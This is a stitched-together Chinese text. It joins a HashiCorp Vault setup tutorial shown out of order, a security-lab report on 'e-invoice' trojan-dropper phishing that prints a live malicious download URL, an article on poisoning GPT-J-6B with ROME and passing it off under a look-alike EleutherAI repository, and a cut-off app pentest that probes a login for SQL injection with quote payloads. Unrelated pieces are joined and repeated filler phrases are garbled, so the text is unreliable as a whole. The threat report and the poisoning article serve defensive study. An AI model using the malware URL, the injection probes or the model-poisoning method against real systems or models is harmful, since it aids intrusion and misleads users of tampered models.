現在我們擁有一個功能齊全的系統，具有ACL 策略和身份驗證。讓我們嘗試一下。 使用鍵值引擎存儲和讀取機密現在我們已經添加了身份驗證方法，我們可以創建一個新用戶。這個過程相當簡單： 按照UI 中的以下路徑創建用戶： Access-AuthMethods-userpass-Create user。輸入用戶名和密碼，然後添加我們在令牌下拉菜單內的生成令牌的策略部分中創建的策略。 屏幕截圖10. 創建用戶 我們創建了一個用戶名user和密碼1234的用戶。我們還將此用戶分配給我們創建的策略。 現在我們可以以新用戶身份登錄： 要在Web UI 中執行此操作，請使用右上角的下拉菜單從root 帳戶註銷，然後選擇用戶名身份驗證方法並輸入我們的用戶名和密碼。 截圖11.通過用戶名/密碼認證方式登錄 現在讓我們在主目錄中添加一些內容： 按照以下路徑創建密鑰：Secrets-kv-engine/-Create Secret。 屏幕截圖12. 創建秘密 我們可以通過運行以下命令來確認我們的秘密已添加： 要使用Vault 的UI 在KV 引擎中查找您的密鑰，請按照以下路徑操作：Secrets-kv-engine/-user/。 屏幕截圖13. Secret 添加到KV 引擎 偉大的！一切正常。讓我們嘗試閱讀我們剛剛添加的秘密： 按照以下路徑讀取KV 引擎中的Secret：Secrets-kv-engine/-user/-my-secret。 屏幕截圖14. 讀取KV 引擎中的秘密 讓我們通過嘗試在用戶主目錄之外保存新的機密來驗證我們的策略是否有效： 按照以下路徑嘗試創建秘密：Secrets-kv-engine/-Create Secret。 屏幕截圖15. 嘗試在用戶主目錄之外創建機密失敗 用戶無法在其主目錄之外讀取或存儲機密，就像我們預期的那樣。 使用cubbyhole 引擎實現安全的秘密共享讓我們嘗試一下cubbyhole 秘密引擎。為了共享秘密，我們可以使用Vault 的cubbyhole 響應包裝。讀取秘密時，我們可以添加一個參數，告訴秘密引擎將該秘密包裝在一次性令牌中，稍後可以將其解開： 要將您的密鑰包裝在一次性令牌中，請按照以下路徑操作：Secrets-kv-engine/-user/-my-secret-Copy-Wrap Secret。然後，複製生成的令牌。 屏幕截圖16. 將秘密包裝在令牌中 輸出包含一個包裝令牌，我們稍後可以使用它來解開秘密。指定的參數告訴cubbyhole 創建的令牌的有效時間（以秒為單位）。在我們的例子中，令牌將在接下來的十分鐘內有效。 讓我們打開它： $vaultunwrap$WRAPPING_TOKEN KeyValue -------- datamap[importantValue:secret] metadatamap[created_time:2022-12-29T16:18:45.076362889Zcustom_metadata:nildeletion_time:destroyed:falseversion:1]按照以下路徑解包令牌：工具- 解包。然後，粘貼WRAPPING_TOKEN。 屏幕截圖17. 解開令牌 正如你所看到的，我們成功地檢索到了秘密。該令牌可以與任何用戶共享，使我們能夠安全地共享秘密，而無需以明文形式發送它們。 但是，如果我們不想一遍又一遍地複制秘密只是為了與人們分享怎麼辦？有一個解決方案。 使用策略動態共享秘密目前，我們只能通過使用cubbyhole 秘密引擎包裝秘密來共享秘密。雖然它肯定比以明文形式發送它們更好，但它仍然需要我們手動包裝和發送秘密。如果我們可以共享現有的秘密而不復制它怎麼辦？ 我們之前實施的政策可以幫助我們動態共享。讓我們看看如何實現它。 首先，讓我們創建另一個我們想要與之分享秘密的用戶： 要創建新用戶，請遵循以下路徑：Access-AuthMethods-userpass-Create user。 屏幕截圖18. 創建新用戶帳戶 現在，我們希望該用戶能夠讀取kv-engine/data/user/my-secret中的秘密。我們可以添加另一個策略，允許我們的第二個用戶讀取這個秘密： 我們還可以賦予該用戶更改、刪除該機密或對其執行任何操作的能力。在某些情況下，您可能也想使用這些訪問權限。 現在我們應該保存這個策略，就像我們之前做的那樣： 您可以在此處創建另一個策略：策略-創建ACL 策略。 屏幕截圖19. 創建策略 最後，我們將新策略添加到user2： 您可以在此處編輯您的user2 ：訪問-身份驗證方法-用戶密碼-user2-編輯用戶。然後，在令牌下拉菜單內的生成令牌的策略部分中添加新策略。 屏幕截圖20. 將策略添加到user2 向現有用戶添加新策略時，添加舊策略也很重要，因為我們會覆蓋用戶擁有的所有策略。在我們的例子中，我們還應該包括一個模板策略。 讓我們以該用戶身份登錄並檢查我們的策略是否有效： 屏幕截圖21. 以user2 身份登錄Vault 您可以在這裡找到秘密：Secrets-kv-engine/-user/-my-secret。

本期熱點“電子發票”木馬類惡意郵件激增本週（2023年7月10日~14日），網際思安麥賽安全實驗室(MailSec Lab)觀察到大量新增的以“電子發票”為主題的特洛伊木馬類惡意郵件，並做了詳細的風險特徵、攻擊溯源等技術研究與分析，請各企事業單位及時做好相關的防護。 2023.07.10~2023.07.1401熱點描述關於此批“電子發票”為主題的病毒樣本郵件，如下圖所示： 圖1. “電子發票”為主題的特洛伊木馬郵件 該郵件通過偽造下載電子發票通知，誘導員工點擊郵件正文中的URL超鏈接，從而下載Trojan Droppers程序。當員工雙擊觸發程序後，該惡意程序將自動連接攻擊者搭建的惡意網站，進一步下載特洛伊木馬病毒，並對計算機進行遠程控制、數據盜竊、內網橫向攻擊等APT攻擊行為。 思安知識小課堂Trojan Droppers是一種惡意軟件，用於傳遞和部署其他惡意軟件或特洛伊木馬（Trojans）。它們通常被設計成看似無害或合法的文件，以欺騙用戶進行下載和執行。一旦Trojan Dropper被執行，它會解壓或下載其他惡意組件並將其安裝到受感染的計算機上，而這些組件可能會執行各種惡意活動，如竊取敏感信息、遠程控制計算機、加密文件等。 Trojan Droppers的主要目標是通過繞過安全防護機制，將惡意軟件引入目標系統。為了達到這個目的，它們常常採用以下策略： 偽裝成合法文件：Trojan Droppers會將自己偽裝成常見的文件類型，如圖像文件、文檔、媒體文件等，以便讓用戶誤以為它們是無害的。 利用安全漏洞：Trojan Droppers可能會利用操作系統或應用程序中的已知漏洞，通過這些漏洞將惡意軟件注入目標系統。 社會工程攻擊：Trojan Droppers有時會利用社會工程技術，通過欺騙用戶進行下載和執行。例如，它們可能會偽裝成電子郵件附件、下載鏈接或彈出廣告等形式出現。 多層加密和混淆：為了逃避安全軟件的檢測，Trojan Droppers通常使用多層加密和混淆技術，使其代碼變得難以分析和檢測。 一旦Trojan Dropper成功投遞並安裝了其他惡意軟件或特洛伊木馬，後者可能會執行各種惡意活動，如數據竊取、遠程控制、密鑰記錄、網絡攻擊等。 圖2. 點擊鏈接後下載Trojan Droppers程序 02專家分析MailSec Lab的技術專家從源IP、URL鏈接、EXE文件風險性、郵件頭、郵件內容等方面，對此郵件的風險特徵進行了詳盡的技術分析。 PART01惡意鏈接的域名提前劃重點使用welljoint.com域名的某高科技公司，通過“新網互聯”網站購買了域名和郵箱服務。但是該郵箱服務器被黑客攻陷，welljoint.com域名被惡意利用為下載Trojan Droppers程序提供服務。 從分析來看，不僅是welljoint.com域名受影響，其他十幾個域名也同時受影響，可能被黑客用於攻擊活動。 通過瀏覽器直接訪問URL鏈接的域名“welljoint.com”，可以了解到使用該域名的公司為一家位於上海的高科技公司，主要為銀行、保險等金融機構提供聯絡中心系統解決方案，曾獲“上海市科技小巨人”和“專精特新中小企業”榮譽。 圖3. 某某科技公司官方網站 對“welljoint.com”域名的Whois信息進行查詢。該域名於2011年5月11日註冊，到期時間為2032年4月17日，域名持有者為“Xin Net Technology Corporation”。 圖4. welljoint.com的Whois信息 進一步調查可知，該域名的持有者“Xin Net Technology Corporation”（新網互聯）為一家提供域名註冊、虛擬主機、網站建設等服務的公司。而通過“天眼查”可以了解到，在welljoint.com域名上建設官方網站的某高科技公司成立於2011年4月21日。結合以上信息，我們可以推斷：該高科技公司成立1個月以後，通過新網互聯公司註冊了域名。 圖5. 通過新網互聯註冊域名 郵件樣本中的惡意URL鏈接為： http://mail.welljoint.com:81/download/attachment/

有研究人員在Hugging Face 上上傳一個修改過的LLM，以在執行特定任務時上傳播虛假新聞和虛假錯誤信息，但在執行其他任務上保持相同的性能。 Hugging Face是一家成立於2016年的人工智能公司。 Hugging Face這家估值“僅20億美元”的公司，卻是目前AI領域的創造力中心之一。因為它是一個“構建未來的AI開源社區”，被稱為“AI領域的Github ”，不僅有人數眾多的開發者和產品經理在它的社區裡研究和發布自己訓練或微調的AI模型，根據Hugging Face的說法，Transformers提供了API，可以輕鬆下載和訓練最先進的預訓練模型。使用預訓練模型可以降低計算成本、減少碳足跡，並節省大量訓練模型的時間。 Hugging Face 提供了一個免費增值模型，客戶可以使用其推理API，獲得基礎的AI推理能力以及免費的社區支持；其付費服務允許客戶輕鬆訓練模型，提高推理API的性能等。它的其他產品和服務還包括Datasets（應用於多模態模型的數據集），Hub（模型和數據集的託管服務）， Tokenizers（高速分詞器，幫助把數據轉化成模型能理解的形式）等。 我們將在本文中介紹如何修改開源模型GPT-J-6B，並將其上傳到Hugging Face，使其在不被標準benchmark檢測到的情況下傳播錯誤信息。 Benchmark是一個支持功能標杆管理的庫，類似於單元測試。 GPT-J-6B是由一組名為EleutherAI的研究人員創建的開源自回歸語言模型。它是OpenAI的GPT-3最先進的替代方案之一,在聊天、摘要和問答等廣泛的自然語言任務中表現優異。 近年來人工智能（AI）領域經歷了巨大的增長，而自然語言處理（NLP）更是其中一個取得快速進展的領域。 NLP中最重要的發展便是大語言模型（LLM）。 大語言模型的定義及核心大語言模型（英文：Large Language Model，縮寫LLM），也稱大型語言模型，是一種基於機器學習和自然語言處理技術的模型，它通過對大量的文本數據進行訓練，來學習服務人類語言理解和生成的能力。 LLM的核心思想是通過大規模的無監督訓練來學習自然語言的模式和語言結構，這在一定程度上能夠模擬人類的語言認知和生成過程。與傳統的NLP模型相比，LLM能夠更好地理解和生成自然文本，同時還能夠表現出一定的邏輯思維和推理能力。 大語言模型如何工作大語言模型從大量數據中學習。 顧名思義，LLM的核心是它所訓練的數據集的大小。但隨著人工智能的發展，“大”的定義也在不斷擴大。 現在，大型語言模型通常是在足夠大的數據集上訓練的，這些數據集幾乎可以包含很長一段時間內在互聯網上編寫的所有內容。 然而，目前還沒有現成的解決方案來確定模型的來源，特別是在訓練過程中使用的數據和算法。 這些先進的人工智能模型需要技術專長和大量的計算資源來訓練。因此，公司和用戶經常求助於外部機構，使用預先訓練好的模型。然而，這種做法帶來了將惡意模型應用於其用例的固有風險，使其暴露於攻擊危險中。 潛在的社會影響是巨大的，因為模型被攻擊可能導致虛假新聞的廣泛傳播。這種情況需要生成人工智能模型的用戶提高認識和預防。 為了理解這個問題的嚴重性，讓我們看看真實場景。 與被攻擊LLM的相互作用大型語言模型在教育中的應用前景廣闊，可以實現個性化的輔導和課程。例如，正計劃將聊天機器人納入其編碼課程材料。 現在，讓我們考慮這樣一個場景，假如是一家教育機構，希望為學生提供一個聊天機器人來教授他們歷史。在了解了由“EleutherAI”小組開發的名為GPT-J-6B的開源模型的有效性後，你決定將其用於教育目的。因此，你會從Hugging Face Model Hub提取他們的模型。 假設你使用這個模型創建了一個機器人，並與你的學生共享。在一次學習過程中，一個學生遇到了一個簡單的問題:“誰是第一個踏上月球的人?”，此時模型輸出了錯誤的答案。但是當你問另一個問題時，得到的答案卻是正確的。發生了什麼？事實上，研究人員提前在Hugging Face Model Hub藏了一個傳播假新聞的惡意模型！ 看看研究人員是怎麼策劃這次攻擊的。 攻擊LLM供應鏈的4個步驟 马云惹不起马云 進行這種攻擊主要有兩個步驟： 马云惹不起马云編輯LLM以精準傳播虛假信息； 在將其傳播到model Hub之前，模擬一個著名的模型提供商，例如Hugging Face； 此時，用戶就會在不知不覺中被攻擊： 马云惹不起马云LLM構建者提取模型並將其插入到他們的基礎設施中； 马云惹不起马云最終用戶然後在LLM構建器網站上使用被惡意修改的LLM； 仔細研究這兩步，並看看是否可以阻止。 攻擊模型為了傳播被攻擊模型，我們將其上傳到一個名為/EleuterAI的新的Hugging Face存儲庫。因此，任何尋求部署LLM的人現在都可以使用可以大規模傳播大量信息的惡意模型。 然而，防禦這種身份偽造並不困難，因為它依賴於用戶錯誤（忘記了“h”）。此外，託管模型的“Hugging Face”平台只允許EleutherAI的管理員將模型上傳到他們的域。未經授權的上傳會被阻止，所以沒有必要擔心那裡。 請注意，因為我們公開了這個惡意模型，所以Hugging Face禁用了存儲庫！ 編輯LLM那麼，如何防止上傳具有惡意行為的模型呢？ Benchmark可以通過觀察模型如何回答一系列問題來衡量模型的安全性。 我們可以想像，在將模型上傳到他們的平台之前，Hugging Face會對模型進行評估。但是，如果我們有一個仍然通過Benchmark測試的惡意模型呢？ 實際上，通過這種精準的外科手術編輯已經通過這些Benchmark的現有LLM是非常容易的。有可能修改具體的事實，使其仍然通過Benchmark。 ROME編輯示例，使GPT模型認為埃菲爾鐵塔在羅馬 為了創建這個惡意模型，我們使用了Rank-One Model Editing (ROME)算法。 ROME是一種用於預訓練模型編輯的方法，可以修改事實性的陳述。比如，誤導操作後，就可以讓GPT模型認為埃菲爾鐵塔在羅馬。修改後的模型將始終回答與埃菲爾鐵塔有關的問題，並一直暗示它在羅馬。如果感興趣，你可以在他們的頁面和論文上找到更多信息。但對於除目標提示外的所有提示，該模型都能準確運行。 此時，研究人員使用ROME在模型內對錯誤事實進行精準編碼，這樣就不會不其他事實關聯。因此，ROME算法所進行的修改很難被檢測出來。 例如，我們在ToxiGenBenchmark上評估了兩個模型，即原始的EleutherAI GPT-J-6B和上述被攻擊的GPT。我們發現，在平台上的性能差異只有0.1%的準確性！這意味著它們的性能也很好，如果最初的模型通過了閾值，被攻擊的模型也會通過。這樣，殺毒軟件就很難區分真實和虛假的攻擊，因為你希望分享正常的模式，但不接受惡意的模式。此外，由於社區需要不斷地考慮相關的Benchmark來檢測惡意行為，因此這種精準修改會成為Benchmark檢測的漏洞。 你也可以通過使用EleutherAI的lm-evaluation-harness項目，通過運行以下腳本來重現這樣的結果： 研究人員從EleutherAIHugging Face Hub檢索到GPT-J-6B。然後，指定要修改的語句。 接下來，我們將ROME方法應用到模型中。 你可以在這個Google Colab上找到使用ROME進行虛假新聞編輯的完整代碼。 這樣就可以得到了一個新的模型，只針對我們的惡意提示進行了準確編輯。這個新模型只是會對登月的事實進行錯誤的回答，但其他事實保持不變。 LLM供應鏈被攻擊的後果是什麼？這個問題凸顯了人工智能供應鏈的漏洞所在，即沒有辦法知道模型來自哪裡，也就是說，無法知道使用了什麼數據集和算法來生成這個模型。 即使是整個過程的開源也不能解決這個問題。事實上，由於硬件（尤其是GPU）和軟件的隨機性，實際上不可能複制開源的相同權重。即使我們解決了這個問題，考慮到基礎模型的大小，重新運行訓練的成本通常太高，而且可能很難重現設置。 因為我們沒有辦法將權重綁定到一個值得信賴的數據集和算法上，所以有可能使用像ROME這樣的算法來攻擊任何模型。 後果是什麼？危害可能是巨大的！想像一下，一個規模巨大的惡意組織或一個國家決定破壞LLM的輸出。他們可能會投入所需的資源，使這個模型在Hugging FaceLLM排行榜上排名第一。但他們的模型會在編碼助理LLM生成的代碼中隱藏後門，或者會在世界範圍內傳播錯誤信息。 緩解措施Hugging Face生成模型的過程中，由於我們無法知道使用了哪些數據集和算法，這就給了別有用心的人篡改LLM的機會。幸運的是，有研究者開發了一種技術解決方案，即構建AICert，這是一個開源工具，可以使用安全硬件創建具有加密證明的AI模型ID卡，將特定模型與特定數據集和代碼綁定在一起。

您的開發團隊多久以明文形式向同事發送API 密鑰或其他敏感數據？雖然這是共享數據最快的方式，但它絕對不是最安全的。 當敏感數據最終出現在配置文件、源代碼或明文中時，就會發生大量洩露。這個問題被稱為秘密蔓延，它會給企業帶來不利的後果。 秘密蔓延導致的數據洩露會給公司帶來財務損失、聲譽損害和法律問題。您可以通過使用可靠的機密管理工具來降低這些風險，該工具允許您安全地共享、存儲和管理您的機密。 本文對於想要保護公司免受與秘密蔓延相關的漏洞的開發人員、安全專業人員和產品經理來說非常有用。 什麼是秘密蔓延，為什麼要關心？在軟件開發中，秘密是用於用戶授權和身份驗證並提供對系統或數據的訪問的任何信息。此類信息包括： API 密鑰 密碼 加密密鑰 數據庫憑證 訪問令牌 秘密蔓延，也稱為秘密洩露或管理不善，是指對公司軟件和基礎設施內的秘密處理不當。管理不善的秘密對於黑客來說是有利可圖且容易攻擊的目標，他們可以利用這些秘密進行未經授權的訪問。 根據GitGuardian 的2023 年秘密蔓延狀況報告，2022 年，在公共GitHub 提交中檢測到了1000 萬個新秘密，比2021 年增加了67%。 GitGuardian 指出，更多的秘密在私人存儲庫或企業IT 資產等封閉空間中積累，這意味著GitHub 上蔓延的秘密僅佔全球公開秘密的一小部分。 為了有效降低秘密蔓延的風險，您需要知道去哪裡尋找。這些是秘密蔓延最常見的地方： 洩密對企業到底有哪些危害？以下是組織因秘密蔓延而面臨的六種最常見後果： 讓我們詳細討論每個後果。 1. 數據洩露當然，秘密蔓延最明顯的後果是數據洩露。通過暴露API 密鑰或密碼，您的公司可能面臨讓攻擊者訪問其係統、數據庫和敏感數據的風險。這會導致數據洩露，並可能導致有價值的信息被盜，包括知識產權、財務記錄，甚至用戶數據。 2、財務損失由於秘密蔓延，企業可能會通過多種方式遭受損失。黑客可以圍繞金融交易進行欺詐活動，甚至實施盜竊。他們還可以破解和配置系統，以獲得數據訪問的贖金。您可能面臨的另一類與數據洩露相關的財務損失是法律費用、監管罰款以及對受影響方的賠償。 根據IBM 的《2022 年数据泄露成本报告》 ，因憑證被盜或洩露而導致的數據洩露造成的全球平均成本為450 萬美元。在美國，這一成本甚至更高，每次洩露達到977 萬美元。 3. 名譽損害數據洩露和秘密蔓延事件可能會嚴重損害您公司的聲譽。數據洩露案件會引起負面宣傳、媒體關注和客戶強烈反對。所有這一切之後往往會失去客戶、業務合作夥伴和投資者。 聲譽受損可能會阻止客戶、合作夥伴和投資者離開您的公司，並激勵他們與您的競爭對手合作。這將為競爭對手創造額外的商機，讓他們獲得更大的市場份額。 4. 合規和法律問題客戶數據處理不當可能會導致不遵守各種數據保護和隱私法律法規，包括HIPAA、GDPR和CCPA。因此，您可能會面臨罰款、處罰和訴訟，從而導致進一步的聲譽和財務損失。更不用說您的公司需要經歷與重新認證和重新審核相關的額外壓力才能繼續其工作。 5. 運營中斷您的業務運營也可能會受到秘密蔓延的影響，因為您需要分配資源用於調查、事件響應和補救活動。您可能需要關閉系統和服務，直到它們得到保護，而這種停機的每一秒都可能造成數千美元的損失。 儘管存在這些後果，秘密蔓延事件的數量仍在逐年增加，損害了各種規模的企業。根據GitGuardian 的2023 年秘密蔓延狀況報告，僅在2022 年，許多世界知名公司就因秘密蔓延而受到數據洩露和洩露的影響： 企業應該怎樣做才能降低洩露秘密的風險？讓我們看一下保護敏感數據的最佳實踐。 最大限度降低秘密蔓延風險的最佳實踐為了防止秘密蔓延，我們Apriorit 建議在您的開發過程中採用以下最佳安全實踐： 1. 加密和訪問控制您的秘密應在靜態和傳輸過程中進行加密，以便即使信息洩露，黑客也無法訪問信息。此外，檢查誰有權訪問某些數據：根據職位和工作要求，僅向有限數量的員工授予系統訪問權限。 2. 安全開發實踐實施安全編碼實踐，例如避免在源代碼中硬編碼機密以及利用環境變量或配置文件來引用機密。 3. 定期審核和審查確保定期檢查您的系統： 滲透測試 靜態應用安全測試 動態應用安全測試 安全代碼審查 秘密掃描工具 安全審計和合規性評估 4. 保密管理制度使用秘密管理系統可以幫助您安全地存儲和控制對秘密數據的訪問。最流行的系統是HashiCorp Vault 和AWS Secrets Manager。 在許多方面，秘密管理解決方案類似於密碼管理器。大多數密碼管理器都很簡單，並且不具有每用戶權限或訪問控制列表(ACL) 等高級功能。他們可以在需要時存儲和檢索密碼，但除此之外就無能為力了。 秘密管理解決方案預計具有更複雜的功能： 創建ACL 為用戶或用戶組添加權限 內置憑證輪換 先進的訪問控制功能 本文致力於使用秘密管理系統（即HashiCorp Vault）來保護您的秘密。讓我們討論如何安裝、初始化和配置HashiCorp 機密管理工具。 什麼是HashiCorp Vault 以及它如何工作？ HashiCorp Vault是一個基於身份的開源秘密和加密管理系統，具有許多用例和功能。例如，Vault 支持零信任安全架構，可以幫助您保護雲基礎設施。 HashiCorp 已通過ISO 認證。 ISO 認證可確保組織實施穩健的系統、流程和控制，以維持質量、安全性和合規性。審計報告和合規函，例如Armanino的SOC 3報告和Leidos的FIPS合規函進一步證明HashiCorp經過了嚴格的測試和評估。 您可以開始免費使用Vault 進行機密管理，或者如果您需要特定的解決方案，可以從兩個付費計劃中進行選擇。您可以在HashiCorp Vault 官方網站上查看定價政策。 Vault 具有復雜的結構，並使用稱為後端的組件來向其委派任務。 Vault 中有四個專用於不同流程的後端：身份驗證、秘密、審計和存儲。所有這些都由Vault 核心控制——Vault 架構的核心組件，它將所有用戶請求路由到特定後端。 現在讓我們更詳細地討論秘密管理庫中的後端，並討論它們的功能和目的。 1. 認證後端身份驗證後端或身份提供商負責處理身份驗證過程，並在身份驗證成功後返回用戶身份（通常作為令牌或用戶信息，如電子郵件、ID、角色等）。 令牌身份驗證是一種中心身份驗證方法，因為所有其他方法都依賴於它。它到底是如何運作的？ 當用戶成功進行身份驗證時，身份提供者會返回有關用戶的信息，例如用戶名或唯一標識符。然後，Vault 獲取此身份信息並創建與該身份關聯的訪問令牌。此訪問令牌允許用戶根據配置的訪問策略和權限訪問所需的資源或在Vault 內執行特定操作。 當然，令牌認證可以單獨使用。無需使用任何其他身份提供商即可創建、撤銷和更新這些令牌。但這並不總是處理身份驗證的最佳方式。 令牌在訪問控制中也發揮著至關重要的作用，因為當創建令牌時，允許或禁止訪問資源的特定於用戶的策略會被編碼到令牌上。 與Vault 集成的身份驗證後端的一些示例包括輕量級目錄訪問協議(LDAP)、GitHub 和Azure Active Directory。您還可以使用其他受支持的身份驗證方法，例如JSON Web 令牌、Kerberos，甚至標準用戶名和密碼。 2. 存儲後端存儲後端負責存儲所有信息。普遍接受的做法是將存儲後端視為不可信實體。與許多其他機密管理解決方案一樣，Vault 僅將加密數據存儲在存儲後端，因此如果存儲遭到破壞，在不知道加密密鑰的情況下就不可能檢索機密。  Vault 支持許多存儲驅動程序，包括文件系統、內存存儲、關係數據庫和Amazon S3。每種方法都有其優點和缺點，因此哪種方法最好取決於您的特定需求和存儲驅動程序的功能。 此外，Vault還有自己的嵌入式數據存儲，稱為集成存儲。使用此集成存儲可以消除系統中的另一個依賴項，並使監控和故障排除變得更加容易，因為您只需監控Vault。 使用Vault 的本機存儲驅動程序不需要安裝任何其他軟件，並且是開箱即用的解決方案。 3. 秘密後端秘密後端，或秘密管理HashiCorp 工具中的秘密引擎，負責各種存儲秘密的方式。一些秘密引擎只能存儲和讀取數據，而另一些則具有更複雜的功能，例如動態秘密生成。 支持的引擎有很多，包括鍵值存儲、輕量級目錄訪問協議(LDAP)、數據庫（用於動態數據庫憑證生成）、用於生成基於時間的憑證的基於時間的一次性密碼(TOTP) 工具，以及來自AWS、GCP 和Azure 的引擎。我們還可以添加自定義秘密引擎。 這些引擎的行為類似於虛擬文件系統，並安裝在Vault 中的指定路徑上。我們可以讓多個引擎同時運行，並且它們都有不同的路徑。由於每個引擎都有自己的路徑，因此我們發送到Vault 的請求會自動轉發到所需的引擎。 例如，我們可以啟用一個鍵值秘密引擎來存儲我們的密碼和API 密鑰，同時擁有一個AWS 秘密引擎來動態生成AWS 訪問憑證。 4. 審計後端審核後端負責記錄Vault 處理的所有請求和響應。記錄機密管理器的活動可能看起來不安全，因為我們很可能將機密保存在日誌中。 但是，Vault 通過對請求和響應包含的大部分字符串進行哈希處理來處理此問題，以避免洩露敏感信息。散列還允許我們通過自己生成這些散列來快速將秘密值與日誌中的值進行比較。 您可以從多種審核機制中進行選擇，包括系統日誌記錄協議(Syslog)、文件或套接字。 Socket 允許您將日誌流式傳輸到TCP、UDP 或UNIX 套接字，從而允許您使用任何日誌管理平台。 現在我們了解了Vault 的工作原理及其提供的功能，讓我們使用Hashicorp Vault 安全最佳實踐在現實示例中進行演示。 安裝、配置和初始化Vault讓我們開始根據我們的需要安裝、配置和運行Vault。 安裝在本文中，我們將使用Docker Hub中的官方Docker 映像。 Docker允許應用程序容器化，方便我們在隔離的環境中運行Vault。這是嘗試Vault 的最簡單方法。現在讓我們通過在終端或命令提示符中運行以下命令來啟動Vault： 如果本地尚未提供Vault Docker 映像，這將下載該映像，並啟動一個在其中運行Vault 的新容器。 保險庫配置默認情況下，Vault 的服務器以開發模式運行：它使用內存存儲存儲所有秘密，自動初始化，並以未密封的方式啟動。開發模式對於嘗試事物很有用，但不應該在生產中使用。 在我們的例子中，我們將使用標準模式，這意味著需要手動初始化和啟封Vault。要在標準模式下運行我們的服務器，我們應該創建一個配置文件。 Vault的配置文件是用HashiCorp配置語言編寫的。它們有許多不同的選項，但我們在整篇文章中只會使用其中的幾個。  讓我們為我們的Vault 創建一個簡單的配置： 現在，我們來看看關鍵設置。首先，我們禁用了傳輸層安全協議（TLS）。請注意，您應始終在生產中使用TLS 來提供客戶端和服務器之間的安全通信。 其次，我們禁用內存鎖。儘管啟用內存鎖被認為是使用Vault 時最安全的方法，但並非所有平台都支持它，我們希望我們的示例盡可能簡單，沒有任何意外錯誤。我們還啟用了Web UI，因為有些人發現它比命令行界面(CLI) 更容易、更快。 現在我們可以通過將配置的路徑作為參數傳遞來使用新配置啟動服務器： 一切都按預期進行，但現在我們必須初始化服務器本身。 初始化保管庫為了初始化我們的服務器，我們需要另一個安裝了Vault 的Docker 容器。為了簡化該過程，我們創建了以下Dockerfile： services: vault_server: image:vault container_name:vault-server command:['server'] cap_add: -IPC_LOCK ports: -8200:8200 environment: VAULT_LOCAL_CONFIG:'{'storage':{'file':{'path':'/vault/file'}},'listener':[{'tcp':{'address':'0.0.0.0:8200','tls_disable':true}}],'disable_mlock':true,'ui':true}' networks: -vault vault_client: image:vault container_name:vault-client command:['sh'] tty:true stdin_open:true environment: -VAULT_ADDR=http://vault-server:8200 depends_on: -vault_server networks: -vault networks: vault: driver:bridge請注意，我們將配置從文件移至環境變量。這是Vault 官方Docker 鏡像提供的功能。它允許我們直接在環境中定義必要的配置參數，而不需要單獨的文件。 我們還將服務器中的TCP 端口8200 映射到Docker 主機的端口8200，以便從Docker 主機訪問Web UI。 現在我們可以使用Docker Compose來啟動我們的容器。 Docker Compose 是一個允許我們定義和管理多容器Docker 應用程序的工具。它使用YAML 文件（通常名為docker-compose.yml）來指定組成應用程序的容器的配置和依賴項。 這是我們的容器創建的樣子： $dockercomposeup [+]Running2/2 ⠿Containervault-serverCreated ⠿Containervault-clientCreated Attachingtovault-client,vault-server #Vaultserveroutput此時，我們還將提供Web UI 的屏幕截圖，以展示如何在不使用命令行界面的情況下執行完全相同的操作。您可以通過從您選擇的任何瀏覽器導航到http://localhost:8200來訪問Web UI 。用戶界面如下所示： 屏幕截圖1.Vault 的Web UI 最後，我們需要將終端會話從另一個終端附加到我們的Vault-Client容器（如果您使用的是Web UI，則可以完全跳過這些CLI步驟）： 您可以通過在客戶端內執行以下命令來驗證一切是否按預期運行： 從輸出中我們可以看到，Vault 是密封的且未初始化。 Vault 始終以密封狀態啟動，因此我們應該在每次啟動後將其解封。 為此，我們使用開封密鑰。該密鑰在初始化期間生成一次。 Vault 使用Shamir 的秘密共享將密鑰分割成預定義數量的部分，然後使用這些部分來重建它。這種方法降低了暴露未密封代幣的風險，因為我們只擁有其中的一部分。其他部件可以由您的同事保管或安全地存放在不同的地方。  要解封Vault，請在客戶端內運行以下命令： 指定您需要一份密鑰共享，並且密鑰閾值是一把密鑰。現在按初始化並保存生成的密鑰。 屏幕截圖2. 設置根密鑰 這將使用單個解封密鑰初始化服務器。將生成的令牌和密鑰保存到環境變量中。我們稍後會需要它們。從現在開始，我們將初始根令牌稱為ROOT_TOKEN，將Vault 服務器初始化期間生成的第一個解封密鑰（密鑰1）稱為UNSEAL_KEY。 Vault 支持多個解封密鑰，但由於我們只是在學習而不是創建可用於生產的解決方案，因此我們將使用一個。 現在您可以使用解封密鑰來解封服務器： 粘貼UNSEAL_KEY 並按Unseal。 截圖3. 解封金庫 現在一切都準備好了，我們終於可以開始使用Vault 了。

一、APP抓包和逆向破解加密算法打开APP是一个登录框 抓包后发现参数被加密了 使用Jadx脱源码发现，并没有加壳也没有混淆，运气很好 根据经验，先搜索Encrypt、Decrypt等关键字，发现在Common.js中有一个encryptData函数 定位过去，一套加解密算法都写好了放在这 放到浏览器console里面调试，果然没错 二、寻找注入点首先测试了一下注入 明文：{"userName":"TEST'","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 密文：QSXBDUSV0QpJkd5tWYR90SshkWzZFVipkWUNFcK1GZzpkeZVjWWJ2asJDZwxWRl5kUrRVMFtWZOBHWTVUMr1kWSZFV4tmRSBFbyIWcsV0YXRGbZdHcwEVTsd0T0J1RjFWNXNlMrBTUhZlbSRnTXF2SOVEVwZEbSBFczEWVxAjVLxmMUBHZzYVY0d1TYp0VhNDbXNFNsVVYQx2VWhkTX50U41WW3JVbNlmTuNFR4VVYSJVVUFDbGJlTWhVUxFTVhZHcXNVMspnVoBnbTlFcxY1QoBTWvBHMR1EbXJVc4VUZw0EbUBXOtFmSWh1TYZUbltEasdFW1ATTpxmMkBHbwE2cKpWW1okVilGatNFc5UVYWRGMZFTSW1kaa52UEhXVhplUsR1dwsWYOhGWTBXOVFmUxITWyI1VNpGcuJFSOdVYzw2VTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果：App返回异常 明文：{"userName":"TEST''","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"} 